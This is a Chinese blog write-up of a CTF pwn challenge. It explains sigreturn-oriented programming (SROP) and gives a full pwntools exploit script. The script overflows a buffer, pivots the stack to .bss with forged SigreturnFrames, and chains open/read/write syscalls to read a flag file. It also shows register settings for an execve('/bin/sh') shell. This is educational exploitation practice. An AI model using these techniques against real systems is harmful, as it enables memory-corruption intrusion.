首页 > 其他分享 >周报

周报

时间:2024-12-01 16:55:33浏览次数:7  
标签:addr bss frame3 frame2 frame4 sigreturn 周报

高级ROP之SROP

一、知识储备

1. signal 机制

这里基础知识就搬运ctfwiki上的了。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
image
基本步骤如下:

  1. 内核向某个进程发送signal信号,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    image
  3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。

2.漏洞利用

可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。
比如说:

rax = 0x3B(execve)
rdi='/bin/sh\00'
rsi=0x0
rdx=0x0
rip=syscall

这样就可以成功getshell。

Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame

二、例题分析

附件放在文末

拿到题还是先检查一下保护信息,然后运行一下看看。
image
ida分析
main()
image
rt_sigreturn()
image
禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。
要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。
首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300
然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:

    frame1 = SigreturnFrame()
    frame1.rip = syscall_addr
    frame1.rbp = bss_addr + 0x8
    frame1.rsp = bss_addr + 0x8
    frame1.rax = constants.SYS_read
    frame1.rdi = 0
    frame1.rsi = bss_addr
    frame1.rdx = 0x400

    payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
    p.sendline(payload1)

部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’
下一步我们要进行orw操作
先构造open部分:

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

然后是read部分:

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

最后是write部分:

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

所以总的payload如下:

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

    pause()
    p.send(payload2 + payload3 + payload4)

所以总的exp如下:

点击查看代码
from pwn import *
if __name__ == "__main__":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf=ELF('./srop')
    p = process('./srop')

    padding = 0x28

    bss_addr = 0x404060 + 0x300
    sigreturn_sddr = 0x401296
    syscall_addr = 0x40129D

    frame1 = SigreturnFrame()
    frame1.rip = syscall_addr
    frame1.rbp = bss_addr + 0x8
    frame1.rsp = bss_addr + 0x8
    frame1.rax = constants.SYS_read
    frame1.rdi = 0
    frame1.rsi = bss_addr
    frame1.rdx = 0x400

    payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))
    p.sendline(payload1)

    frame2 = SigreturnFrame()
    frame2.rip = syscall_addr
    frame2.rbp = bss_addr + 0x8 + 0x100
    frame2.rsp = bss_addr + 0x8 + 0x100
    frame2.rax = constants.SYS_open
    frame2.rdi = bss_addr
    frame2.rsi = 0x0
    frame2.rdx = 0x0
    payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

    frame3 = SigreturnFrame()
    frame3.rip = syscall_addr
    frame3.rbp = bss_addr + 0x8 + 0x208
    frame3.rsp = bss_addr + 0x8 + 0x200
    frame3.rax = constants.SYS_read
    frame3.rdi = 0x3
    frame3.rsi = bss_addr
    frame3.rdx = 0x30
    payload3 =  p64(sigreturn_sddr) + (bytes(frame3))

    frame4 = SigreturnFrame()
    frame4.rip = syscall_addr
    frame4.rax = constants.SYS_write
    frame4.rdi = 0x1
    frame4.rsi = bss_addr
    frame4.rdx = 0x30
    payload4 =  p64(sigreturn_sddr) + (bytes(frame4))

    pause()
    p.send(payload2 + payload3 + payload4)

    p.interactive()

附件
2024-12-01 16:46:58 星期日

标签:addr,bss,frame3,frame2,frame4,sigreturn,周报
From: https://www.cnblogs.com/fallsnow/p/18579817

相关文章

  • deepin 技术双周报丨Treeland支持截图录屏功能、适配 wlroots 0.18 版本,6.12 内核完成
    第六期deepin技术双周报已出炉,我们会简单列出deepin各个小组在过去两周的相关工作进展,也会阐述未来两周的大致规划,一起来看!DDE针对deepin23的缺陷修复与deepin25的需求开发在同步稳步进行。具体进展与计划如下:进展:a.  对剪切板、DDE会话组件、DDEPolkit组件......
  • 《安富莱嵌入式周报》第346期:开源2GHz带宽,12bit分辨率,3.2Gsps采样率示波,开源固件安全
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 视频:https://www.bilibili.com/video/BV1TYBhYKECK/目录:1、开源2GHz带宽,12bit分辨率,3.2Gsps采样率示波器2、开源嵌入式固件安全分析器3、TI分享的8通道隔离±12.288V......
  • 《安富莱嵌入式周报》第344期:开源手表一年的误差不到1秒,开源32路IMU传感器矩阵,STM32L4
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104 本周更新视频DSP视频教程第13期:汇编浮点库qfplib性能媲美TI的IQmath和硬件FPU,强于C库的math和ARMDSP库,适用于M0和M3(2024-10-12)https://www.armbbs.cn/forum.php?mod=view......
  • 使用EXCEL制作大厂数据周报
    一、成果二、具体制作流程1.搭建周报框架1.1填写标题,eg:20年8月第二周1.2表中的“日期”位置填写从20年8月第二周的第一天开始的具体日期,先写第一天的日期,然后在下一个输入=?+1,?为选中的第一天日期的单元格,然后从第二个开始向下拉,原因是:这样操作后,第一个日期改变后,剩......
  • AI周报(9.8-9.14)
    AI应用-NEKOHealth用AI颠覆体检NekoHealth由Spotify创始人丹尼尔·埃克和哈亚尔马尔·尼尔森共同创立,致力于通过每年的全身扫描和由AI驱动的洞察力来改善预防性医疗保健,能够检测诸如心脏病和皮肤癌等疾病。该公司通过使用人工智能软件支持的全身扫描服务,致力于提供预......
  • KubeSphere 社区双周报| 2024.08.30-09.12
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2024.08.30-09.12。贡献者名单近期重要更新KubeSphereK......
  • 数据分析之Excel周报开发
    周报一般包括:标题、小看板、结果指标、过程指标外卖平台周报这里以外卖平台周报为例,数据来自B站@戴戴戴师兄一、标题        1.标明数据时间二、小看板        1.设置单元格为筛选器:        (1)选中单元格        (2)在数据菜单栏中找到有......
  • KubeSphere 社区双周报| 2024.08.16-08.29
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2024.08.16-08.29。贡献者名单新晋KubeSpherecontribu......
  • 《安富莱嵌入式周报》第341期:Stack Overflow调查报告分享开发者年薪情况,开源USB高速分
    周报汇总地址:http://www.armbbs.cn/forum.php?mod=forumdisplay&fid=12&filter=typeid&typeid=104视频版:https://www.bilibili.com/video/BV1Gw4m1k7jw目录:1、开源多功能USB2.0高速分析仪2、开源100W微型无刷伺服电机控制器3、MicroChip新款DSC系单片机集成40Msps12bitAD......
  • KubeSphere 社区双周报| 2024.08.02-08.15
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2024.08.02-08.15。贡献者名单新晋KubeSpherecontribu......